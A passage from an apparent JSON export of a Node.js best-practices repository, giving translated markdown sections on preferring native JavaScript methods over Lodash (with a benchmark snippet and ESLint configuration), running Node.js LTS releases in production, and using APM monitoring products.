`eslint-plugin-you-dont-need-lodash-underscore` plugin to your ESLint configuration file:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### Example: detecting non-v8 util usage using a linter\nConsider the file below:\n```js\nconst _ = require('lodash');\n// ESLint will flag the line above with a suggestion\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nHere's what ESLint would output when using the YDNLU plugin.\n![output](../../assets/images/ydnlu.png)\n\nOf course, the example above doesn't seem realistic considering what actual codebases would have but you get the idea.\n"
  },
  {
    "path": "sections/performance/nativeoverutil.japanese.md",
    "content": "# Lodash のようなユーザーランドのユーティリティよりも、ネイティブの JS メソッドを選ぶ\n\n\n<br/><br/>\n\n### 一段落説明\n_lodash_ や _underscore_ を require するよりもネイティブメソッドを使う方が良い場合もあります。なぜなら、これらのライブラリは、パフォーマンスの低下や必要以上にスペースを占有する可能性があるからです。\n以下のメソッドを含む、ネイティブメソッドを使用した場合のパフォーマンスは、 [全体的に ~50% 向上](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx) になります: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- comp here: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### 例: ベンチマーク比較 - Lodash vs V8 (Native)\n下のグラフは、[様々な Lodash メソッドのベンチマークの平均](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods) を示しています。このグラフから、Lodash メソッドは V8 メソッドと同じタスクを完了するのに平均146.23％も時間がかかることがわかります。\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### コード例 – `_.concat`/`Array.concat` のベンチマークテスト\n```javascript\nconst _ = require('lodash');\nconst __ = require('underscore');\nconst Suite = require('benchmark').Suite;\nconst opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nこれは以下のような結果になります:\n\n![output](../../assets/images/concat-benchmark.png)\n\nベンチマークの大きなリストは[ここ](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) にあります。あるいは、同じように色をつけて表示される [run this](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js) にもあります。\n\n### ブログ引用: \"You don't (may not) need Lodash/Underscore ( Lodash / Underscore は必要ありません（必要ないかもしれません）。)\"\n\n[repo on this matter which focuses on Lodash and Underscore(Lodash と Underscore を中心としたこの件についてのリポジトリ)](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore) より\n\n > Lodash や Underscore は素晴らしいモダンな JavaScript ユーティリティライブラリであり、フロントエンド開発者に広く利用されています。しかし、最新のブラウザをターゲットにしている場合、ECMAScript5 [ES5] や ECMAScript2015 [ES6] のおかげで、すでにネイティブでサポートされているメソッドがたくさんあることに気づくかもしれません。プロジェクトに必要な依存関係を少なくしたく、ターゲットブラウザを明確に理解している場合は、Lodash/Underscore は必要ないかもしれません。\n\n### 例: 非ネイティブメソッドの使用法に対応した Lint\nライブラリを使っているが必要のない場所を検知して、提案付きで警告してくれる[ ESLint プラグイン](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore)というものがあります。(下の例を参照)<br/>\n設定方法は、ESLint の設定ファイルに `eslint-plugin-you-dont-need-lodash-underscore` プラグインを追加することです:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### 例: linter を使用した非 v8 ユーティリティの使用状況の検出\n以下のファイルのようにすることを検討してみてください:\n```js\nconst _ = require('lodash');\n// ESLint は上の行に提案のフラグを立てます。\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nYDNLU プラグインを使った場合の ESLint の出力は以下の通りです。\n![output](../../assets/images/ydnlu.png)\n\nもちろん、上の例は、実際のコードベースがどのようなものであるかを考えると、現実的ではないように思えますが、アイデアを得ることはできます。\n"
  },
  {
    "path": "sections/performance/nativeoverutil.md",
    "content": "# Prefer native JS methods over user-land utils like Lodash\n\n\n<br/><br/>\n\n### One Paragraph Explainer\nSometimes, using native methods is better than requiring _lodash_ or _underscore_ because those libraries can lead to performance loss or take up more space than needed\nThe performance using native methods result in an [overall ~50% gain](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx) which includes the following methods: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- comp here: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Example: benchmark comparison - Lodash vs V8 (Native)\nThe graph below shows the [mean of the benchmarks for a variety of Lodash methods](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods), this shows that Lodash methods take on average 146.23% more time to complete the same tasks as V8 methods.\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### Code Example – Benchmark test on `_.concat`/`Array.concat`\n```javascript\nconst _ = require('lodash');\nconst __ = require('underscore');\nconst Suite = require('benchmark').Suite;\nconst opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nWhich returns this:\n\n![output](../../assets/images/concat-benchmark.png)\n\nYou can find a bigger list of benchmarks [here](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) or alternatively [run this](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js) which would show the same but with colours.\n\n### Blog Quote: \"You don't (may not) need Lodash/Underscore\"\n\nFrom the [repo on this matter which focuses on Lodash and Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n > Lodash and Underscore are great modern JavaScript utility libraries, and they are widely used by Front-end developers. However, when you are targeting modern browsers, you may find out that there are many methods which are already supported natively thanks to ECMAScript5 [ES5] and ECMAScript2015 [ES6]. If you want your project to require fewer dependencies, and you know your target browser clearly, then you may not need Lodash/Underscore.\n\n### Example: Linting for non-native methods usage\nThere's an [ESLint plugin](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) which detects where you're using libraries but don't need to by warning you with suggestions (cf. example below).<br/>\nThe way you set it up is by adding the `eslint-plugin-you-dont-need-lodash-underscore` plugin to your ESLint configuration file:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### Example: detecting non-v8 util usage using a linter\nConsider the file below:\n```js\nconst _ = require('lodash');\n// ESLint will flag the line above with a suggestion\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nHere's what ESLint would output when using the YDNLU plugin.\n![output](../../assets/images/ydnlu.png)\n\nOf course, the example above doesn't seem realistic considering what actual codebases would have but you get the idea.\n"
  },
  {
    "path": "sections/performance/nativeoverutil.polish.md",
    "content": "# Preferuj natywne metody JS niż narzędzia użytkowników, takie jak Lodash\n\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\nCzasami użycie metod natywnych jest lepsze niż wymaganie _lodash_ lub _underscore_, ponieważ te biblioteki mogą prowadzić do utraty wydajności lub zajmować więcej miejsca niż potrzeba.\nWydajność przy użyciu metod rodzimych skutkuje [ogólnym ~50% zyskiem](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx), który obejmuje następujące metody: `Array.concat`,` Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- comp here: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Przykład: benchmark comparison - Lodash vs V8 (Native)\nPoniższy wykres pokazuje [średnią wyników dla różnych metod Lodasha](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods), pokazuje to, że metody Lodash zajmują średnio 146,23% więcej czasu na wykonanie tych samych zadań, co metody V8.\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### Przykład kodu – Benchmark test on `_.concat`/`Array.concat`\n```javascript\nconst _ = require('lodash');\nconst __ = require('underscore');\nconst Suite = require('benchmark').Suite;\nconst opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nCo zwraca to:\n\n![output](../../assets/images/concat-benchmark.png)\n\nMożesz znaleźć większą listę benchmarków [tutaj](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) lub alternatywnie [uruchom to](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js) które pokazałyby to samo, ale z kolorami.\n\n### Cytat z bloga: \"You don't (may not) need Lodash/Underscore\"\n\nZ [repozytorium na ten temat, które koncentruje się na Lodash i Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n > Lodash and Underscore are great modern JavaScript utility libraries, and they are widely used by Front-end developers. However, when you are targeting modern browsers, you may find out that there are many methods which are already supported natively thanks to ECMAScript5 [ES5] and ECMAScript2015 [ES6]. If you want your project to require fewer dependencies, and you know your target browser clearly, then you may not need Lodash/Underscore.\n\n### Przykład: Linting for non-native methods usage\nIstnieje [wtyczka ESLint](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) która wykrywa, gdzie korzystasz z bibliotek, ale nie musisz, ostrzegając Cię sugestiami (porównaj z przykładem poniżej).<br/>\nSposób konfiguracji polega na dodaniu wtyczki `eslint-plugin-you-dont-need-lodash-underscore` do pliku konfiguracyjnego ESLint:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### Przykład: detecting non-v8 util usage using a linter\nConsider the file below:\n```js\nconst _ = require('lodash');\n// ESLint will flag the line above with a suggestion\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nOto, co wyświetli ESLint podczas korzystania z wtyczki YDNLU.\n![output](../../assets/images/ydnlu.png)\n\nOczywiście powyższy przykład nie wydaje się realistyczny, biorąc pod uwagę, jakie byłyby rzeczywiste bazy kodów, ale masz pomysł.\n"
  },
  {
    "path": "sections/performance/nativeoverutil.russian.md",
    "content": "# Предпочитайте нативные методы JS над пользовательскими утилитами, такими как Lodash\n\n\n<br/><br/>\n\n### Объяснение в один абзац\n\nИногда использовать нативные методы лучше, чем привязывать `lodash` или `underscore`, потому что это не приведет к повышению производительности и использованию большего пространства, чем необходимо.\nРезультативность с использованием собственных методов приводит к [общему увеличению ~ 50%](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx), который включает следующие методы: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- comp here: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Пример: сравнение производительности - Lodash vs V8 (Native)\nНа приведенном ниже графике показано [среднее из эталонных показателей для различных методов Lodash](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods), это показывает, что методы Lodash занимают в среднем на 146,23% больше время для выполнения тех же задач, что и методы V8.\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### Пример кода - бенчмарк-тест для `_.concat`/`Array.concat`\n```javascript\nconst _ = require('lodash');\nconst __ = require('underscore');\nconst Suite = require('benchmark').Suite;\nconst opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nКоторый возвращает это:\n\n![output](../../assets/images/concat-benchmark.png)\n\nВы можете найти больший список тестов [здесь](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) или альтернативно [запустить это](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js), который показывает то же самое, но в цвете.\n\n### Цитата блога: \"Вам не нужно (не нужно) Lodash/Underscore\"\n\nИз [репо по этому вопросу, в котором основное внимание уделяется Lodash и Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n> Lodash и Underscore - отличные современные библиотеки утилит JavaScript, и они широко используются разработчиками Front-end. Однако, когда вы ориентируетесь на современные браузеры, вы можете обнаружить, что есть много методов, которые уже изначально поддерживаются благодаря ECMAScript5 [ES5] и ECMAScript2015 [ES6]. Если вы хотите, чтобы вашему проекту требовалось меньше зависимостей, и вы четко знаете целевой браузер, то вам может не потребоваться Lodash/Underscore.\n\n### Пример: Linting для использования неродных методов\nСуществует [плагин ESLint](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore), который определяет, где вы используете библиотеки, но не должен предупреждать вас с предложениями (см. пример ниже).<br/>\nВы можете настроить его, добавив плагин `eslint-plugin-you-dont-need-lodash-underscore` в файл конфигурации ESLint:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### Пример: обнаружение использования утилит не-v8 с использованием линтера\nРассмотрим файл ниже:\n```js\nconst _ = require('lodash');\n// ESLint will flag the line above with a suggestion\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nВот что ESLint будет выводить при использовании плагина YDNLU.\n![output](../../assets/images/ydnlu.png)\n\nКонечно, приведенный выше пример не выглядит реалистичным, если учесть, какие будут исходные кодовые базы, но вы поняли идею.\n"
  },
  {
    "path": "sections/production/LTSrelease.basque.md",
    "content": "# Erabili Node.js LTS bertsioa ekoizpenean\r\n\r\n### Azalpena\r\n\r\nZiurtatu ekoizpenean NTS.jsen LTS (Long Term Support) bertsioa erabiltzen ari zarela erroreen konponketa kritikoak, segurtasun eguneratzeak eta errendimendu hobekuntzak jasotzeko.\r\n\r\nNode.jsren LTS bertsioak gutxienez 18 hilabetez onartzen dira, eta bertsio zenbaki bikoitien bidez adierazten dira (adibidez, 4, 6, 8). Bertsioak onenak dira ekoizpenerako, LTS bertsio lerroa egonkortasunera eta segurtasunera bideratuta baitago, \"Oraingo\" bertsio lerroak, berriz, bizitza motzagoa eta maizago eguneratzen du kodea. LTS bertsioen aldaketak egonkortasuna, segurtasun eguneratzeak, npm eguneratze posibleak, dokumentazio eguneratzeak eta lehendik dauden aplikazioak ez apurtzeko frogatu daitezkeen zenbait errendimendu hobekuntzetara mugatzen dira.\r\n\r\n<br/><br/>\r\n\r\n### Jarraitu irakurtzen\r\n\r\n🔗 [Node.jsren bertsioen definizioak](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Node.js kaleratze egutegia](https://github.com/nodejs/Release)\r\n\r\n🔗 [Funtsezko urratsak; Rod Vagg-en epe luzeko laguntza Node.jsrentzat](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n\r\n> ...Hauetako bakoitzaren bertsio inkrementalen egutegia erroreen konponketen, segurtasun konponketen eta beste aldaketa txiki baina garrantzitsu batzuen eskuragarritasunaren araberakoa izango da. Fokua egonkortasuna da, baina errore ezagunen kopurua minimizatzea eta segurtasun arazoak sortu ahala haien berri jakitea ere bada egonkortasuna bermatzea.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/LTSrelease.brazilian-portuguese.md",
    "content": "# Use uma versão LTS do Node.js em produção\r\n\r\n### Explicação em um Parágrafo\r\n\r\nVerifique se você está usando uma versão LTS (Long Term Support) do Node.js em produção para receber correções de bugs críticos, atualizações de segurança e melhorias de desempenho.\r\n\r\nAs versões LTS do Node.js são suportadas por pelo menos 18 meses e são indicadas por números de versão pares (por exemplo, 4, 6, 8). Eles são melhores para produção, já que a linha de lançamento LTS é focada em estabilidade e segurança, enquanto a linha de lançamento 'Atual' tem uma vida útil mais curta e atualizações mais frequentes no código. As alterações nas versões LTS estão limitadas a correções de bugs para estabilidade, atualizações de segurança, possíveis atualizações npm, atualizações de documentação e certos aprimoramentos de desempenho que podem ser demonstrados para não interromper aplicações. existentes.\r\n\r\n<br/><br/>\r\n\r\n### Leia em\r\n\r\n🔗 [Definições de lançamento do Node.js](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Agenda de lançamento do Node.js](https://github.com/nodejs/Release)\r\n\r\n🔗 [Etapas Essenciais: Suporte de Longo Prazo para o Node.js por Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n> ...o cronograma de lançamentos incrementais dentro de cada um deles será impulsionado pela disponibilidade de correções de bugs, correções de segurança e outras pequenas, mas importantes, alterações. O foco será na estabilidade, mas a estabilidade também inclui a minimização do número de bugs conhecidos e a manutenção das preocupações de segurança à medida que elas surgem.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/LTSrelease.chinese.md",
    "content": "# 使用 Node.js 的 LTS 版本\n\n### 一段解释\n\n确保您在正式环境中使用的是LTS（长期支持）版本的Node.js来获取关键错误的修复、安全更新和性能改进. \n\nLTS版本的Node.js至少支持18个月，并由偶数版本号（例如 4、6、8）表示。它们最适合生产环境，因为LTS的发行线专注于稳定性和安全性，而“Current”版本发布寿命较短，代码更新更加频繁。LTS版本的更改仅限于稳定性错误修复、安全更新、合理的npm更新、文档更新和某些可以证明不会破坏现有应用程序的性能改进。\n\n<br/><br/>\n\n### 继续读下去\n\n🔗 [ Node.js版本定义 ](https://nodejs.org/en/about/releases/)\n\n🔗 [ Node.js发布时间表 ](https://github.com/nodejs/Release)\n\n🔗 [必要步骤：Long Term Support for Node.js by Rod Vagg（Node.js的长期支持by Rod Vagg）](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\n> ...每个增量发布计划将由错误修复、安全修复和其他小但重要的更改的可用性来驱动。重点将放在稳定性上，但稳定性还包括最大程度地减少已知错误的数量，和持续关注重大的安全问题。\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/LTSrelease.french.md",
    "content": "# Utilisez une version LTS de Node.js en production\n\n### Un paragraphe d'explication\n\nAssurez-vous d'utilise une version LTS (Long Term Support) de Node.js en production pour recevoir les corrections de bogues critiques, les mises à jour de sécurité et les améliorations de performance.\n\nLes versions LTS de Node.js sont prises en charge pendant au moins 18 mois et sont indiquées par des numéros de version pairs (par exemple 4, 6, 8). Elles sont idéales pour la production car la ligne de version LTS est axée sur la stabilité et la sécurité, alors que la ligne de version \"Current\" a une durée de vie plus courte et des mises à jour plus fréquentes du code. Les modifications apportées aux versions LTS se limitent à des corrections de bogues pour la stabilité, des mises à jour de sécurité, d'éventuelles mises à jour npm, des mises à jour de la documentation et certaines améliorations des performances dont il peut être prouvé qu'elles ne nuisent pas aux applications existantes.\n\n<br/><br/>\n\n### A lire\n\n🔗 [Définitions des versions de Node.js](https://nodejs.org/en/about/releases/)\n\n🔗 [Calendrier de diffusion de Node.js](https://github.com/nodejs/Release)\n\n🔗 [Étapes essentielles : Support à long terme (Long Term Support) pour Node.js par Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\n> ...le calendrier des versions incrémentales de chacune d'entre elles sera déterminé par la disponibilité des corrections de bogues, des corrections de sécurité et d'autres changements, petits mais importants. L'accent sera mis sur la stabilité, mais la stabilité implique également de minimiser le nombre de bogues connus et de rester au fait des problèmes de sécurité au fur et à mesure qu'ils surviennent.\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/LTSrelease.japanese.md",
    "content": "# Node.js の LTS リリースをプロダクションで使用する\r\n\r\n### 一段落説明\r\n\r\n重要なバグ修正、セキュリティアップデート、パフォーマンスの改善を受けるために、本番環境で Node.js の LTS(Long Term Support) バージョンを使用していることを確認してください。\r\n\r\nNode.js の LTS バージョンは少なくとも18ヶ月間サポートされており、偶数のバージョン番号(例えば4, 6, 8)で示されています。LTS のリリースラインは安定性とセキュリティに焦点を当てているので、運用には最適ですが、「Current」 のリリースラインは寿命が短く、コードの更新がより頻繁に行われます。LTS のバージョンへの変更は、安定性のためのバグ修正、セキュリティ更新、可能な npm の更新、ドキュメントの更新、既存のアプリケーションを壊さないことが証明できる特定のパフォーマンスの改善に限定されます。\r\n\r\n<br/><br/>\r\n\r\n### 続きを読む\r\n\r\n🔗 [Node.js のリリース定義](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Node.js リリーススケジュール](https://github.com/nodejs/Release)\r\n\r\n🔗 [Essential Steps: Long Term Support for Node.js by Rod Vagg (必須ステップ: Node.js の長期サポート by Rod Vagg)](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n> ...これらの中での増分リリースのスケジュールは、バグ修正、セキュリティ修正、その他の小さいが重要な変更の有無によって決定されます。安定性に重点が置かれますが、安定性には既知のバグの数を最小限に抑え、セキュリティ上の懸念事項が発生した場合には、それを常に把握しておくことも含まれます。\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/LTSrelease.korean.md",
    "content": "# Use an LTS release of Node.js in production\r\n\r\n### One Paragraph Explainer\r\n\r\nEnsure you are using an LTS(Long Term Support) version of Node.js in production to receive critical bug fixes, security updates and performance improvements. \r\n\r\nLTS versions of Node.js are supported for at least 18 months and are indicated by even version numbers (e.g. 4, 6, 8). They're best for production since the LTS release line is focussed on stability and security, whereas the 'Current' release line has a shorter lifespan and more frequent updates to the code. Changes to LTS versions are limited to bug fixes for stability, security updates, possible npm updates, documentation updates and certain performance improvements that can be demonstrated to not break existing applications.\r\n\r\n<br/><br/>\r\n\r\n### Read on\r\n\r\n🔗 [Node.js release definitions](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Node.js release schedule](https://github.com/nodejs/Release)\r\n\r\n🔗 [Essential Steps: Long Term Support for Node.js by Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n> ...the schedule of incremental releases within each of these will be driven by the availability of bug fixes, security fixes, and other small but important changes. The focus will be on stability, but stability also includes minimizing the number of known bugs and staying on top of security concerns as they arise.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/LTSrelease.md",
    "content": "# Use an LTS release of Node.js in production\r\n\r\n### One Paragraph Explainer\r\n\r\nEnsure you are using an LTS(Long Term Support) version of Node.js in production to receive critical bug fixes, security updates and performance improvements. \r\n\r\nLTS versions of Node.js are supported for at least 18 months and are indicated by even version numbers (e.g. 4, 6, 8). They're best for production since the LTS release line is focussed on stability and security, whereas the 'Current' release line has a shorter lifespan and more frequent updates to the code. Changes to LTS versions are limited to bug fixes for stability, security updates, possible npm updates, documentation updates and certain performance improvements that can be demonstrated to not break existing applications.\r\n\r\n<br/><br/>\r\n\r\n### Read on\r\n\r\n🔗 [Node.js release definitions](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Node.js release schedule](https://github.com/nodejs/Release)\r\n\r\n🔗 [Essential Steps: Long Term Support for Node.js by Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n> ...the schedule of incremental releases within each of these will be driven by the availability of bug fixes, security fixes, and other small but important changes. The focus will be on stability, but stability also includes minimizing the number of known bugs and staying on top of security concerns as they arise.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/LTSrelease.polish.md",
    "content": "# Użyj wersji LTS Node.js w produkcji\n\n### Wyjaśnienie jednym akapitem\n\nUpewnij się, że korzystasz z wersji LTS (Long Term Support) Node.js w produkcji, aby otrzymywać krytyczne poprawki błędów, aktualizacje zabezpieczeń i ulepszenia wydajności.\n\nWersje Lode Node.js są obsługiwane przez co najmniej 18 miesięcy i są oznaczone parzystymi numerami wersji (np. 4, 6, 8). Najlepiej nadają się do produkcji, ponieważ linia wydania LTS koncentruje się na stabilności i bezpieczeństwie, podczas gdy linia wydania „Bieżąca” ma krótszą żywotność i częstsze aktualizacje kodu. Zmiany w wersjach LTS ograniczają się do poprawek błędów dotyczących stabilności, aktualizacji bezpieczeństwa, możliwych aktualizacji npm, aktualizacji dokumentacji i pewnych ulepszeń wydajności, które można wykazać, aby nie powodować awarii istniejących aplikacji.\n\n<br/><br/>\n\n### Czytaj\n\n🔗 [Node.js release definitions](https://nodejs.org/en/about/releases/)\n\n🔗 [Node.js release schedule](https://github.com/nodejs/Release)\n\n🔗 [Essential Steps: Long Term Support for Node.js by Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\n> ...the schedule of incremental releases within each of these will be driven by the availability of bug fixes, security fixes, and other small but important changes. The focus will be on stability, but stability also includes minimizing the number of known bugs and staying on top of security concerns as they arise.\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/LTSrelease.russian.md",
    "content": "# Используйте LTS-релиз Node.js в производстве\r\n\r\n### Объяснение в один абзац\r\n\r\nУбедитесь, что вы используете LTS (Long Term Support) версию Node.js в работе, чтобы получать критические исправления ошибок, обновления безопасности и улучшения производительности.\r\n\r\nLTS-версии Node.js поддерживаются в течение не менее 18 месяцев и обозначаются четными номерами версий (например, 4, 6, 8). Они лучше всего подходят для производства, поскольку линия выпуска LTS ориентирована на стабильность и безопасность, тогда как линия выпуска \"текущий\" имеет более короткий срок службы и более частые обновления кода. Изменения в версиях LTS ограничены исправлениями ошибок для стабильности, обновлениями безопасности, возможными обновлениями npm, обновлениями документации и некоторыми улучшениями производительности, которые можно продемонстрировать, чтобы не сломать существующие приложения.\r\n\r\n<br/><br/>\r\n\r\n### Читать еще\r\n\r\n🔗 [Node.js release definitions](https://nodejs.org/en/about/releases/)\r\n\r\n🔗 [Node.js release schedule](https://github.com/nodejs/Release)\r\n\r\n🔗 [Essential Steps: Long Term Support for Node.js by Rod Vagg](https://medium.com/@nodesource/essential-steps-long-term-support-for-node-js-8ecf7514dbd)\r\n> ... график дополнительных выпусков в каждом из них будет зависеть от наличия исправлений ошибок, исправлений безопасности и других небольших, но важных изменений. Основное внимание будет уделяться стабильности, но стабильность также включает в себя минимизацию количества известных ошибок и устранение проблем безопасности по мере их возникновения.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/apmproducts.basque.md",
    "content": "# Erabiltzaile esperientzia segurua APM produktuekin\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nAPM (aplikazioaren errendimenduaren jarraipena) produktu familia bat da, aplikazioaren errendimendua hasieratik amaierara kontrolatzea helburu duena, baita bezeroaren ikuspegitik ere. Jarraipen tradizionaleko irtenbideak salbuespenetan eta metrika tekniko independenteetan oinarritzen dira (adibidez, erroreen jarraipena, zerbitzariaren amaiera puntu motelak, etab.). Mundu errealean, aldiz, gure aplikazioak erabiltzaile etsiak sor ditzake inolako kode salbuespenik gabe, adibidez, middleware zerbitzu batzuek oso geldo lan egiten badute. APM produktuek erabiltzaileen esperientzia neurtzen dute hasieratik bukaerara, adibidez, frontend interfazea eta banatutako zerbitzu anitzak biltzen dituen sistema ematen dutenean; APM produktu batzuek maila desberdinetako transakzio batek zenbateraino irauten duen jakin dezakete. Erabiltzailearen esperientzia ona den ala ez esan eta arazoa seinalatu dezake. Eskaintza erakargarri horrek prezio nahiko altua duenez, egokia da produktu konplexu eta jarraipen soiletik haratago joan beharra duten eskala handikoekin lan egiteko\r\n\r\n<br/><br/>\r\n\r\n### APM adibidea: zerbitzuen arteko aplikazioen errendimendua ikusarazten duen produktu komertziala\r\n\r\n![APM adibidea](../../assets/images/apm1.png \"APM adibidea\")\r\n\r\n<br/><br/>\r\n\r\n### APM adibidea: erabiltzailearen esperientziaren puntuazioa azpimarratzen duen produktu komertziala\r\n\r\n![APM adibidea](../../assets/images/apm2.png \"APM adibidea\")\r\n\r\n<br/><br/>\r\n\r\n### APM adibidea: kode geldoen bideak nabarmentzen dituen produktu komertziala\r\n\r\n![APM adibidea](../../assets/images/apm3.png \"APM adibidea\")\r\n"
  },
  {
    "path": "sections/production/apmproducts.brazilian-portuguese.md",
    "content": "# Descubra erros e tempo de inatividade usando produtos APM\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nO APM (monitoramento de desempenho de aplicação) refere-se a uma família de produtos que visa monitorar o desempenho da aplicação de ponta a ponta, também da perspectiva do cliente. Enquanto as soluções de monitoramento tradicionais se concentram em exceções e métricas técnicas autônomas (por exemplo, rastreamento de erros, pontos de extremidade de servidor lentos etc.), no mundo real nossa aplicação sem exceções de código pode criar usuários decepcionados, por exemplo, se algum serviço de middleware for executado muito lentamente. Os produtos APM medem a experiência do usuário de ponta a ponta, por exemplo, dado um sistema que engloba a UI frontend e vários serviços distribuídos - alguns produtos APM podem dizer quão rápido dura uma transação que abrange vários níveis. Pode dizer se a experiência do usuário é sólida e apontar para o problema. Essa oferta atrativa vem com um preço relativamente alto, portanto, é recomendada para produtos complexos e em larga escala que exigem ir além do monitoramento direto.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de APM - um produto comercial que visualiza o desempenho de aplicações de 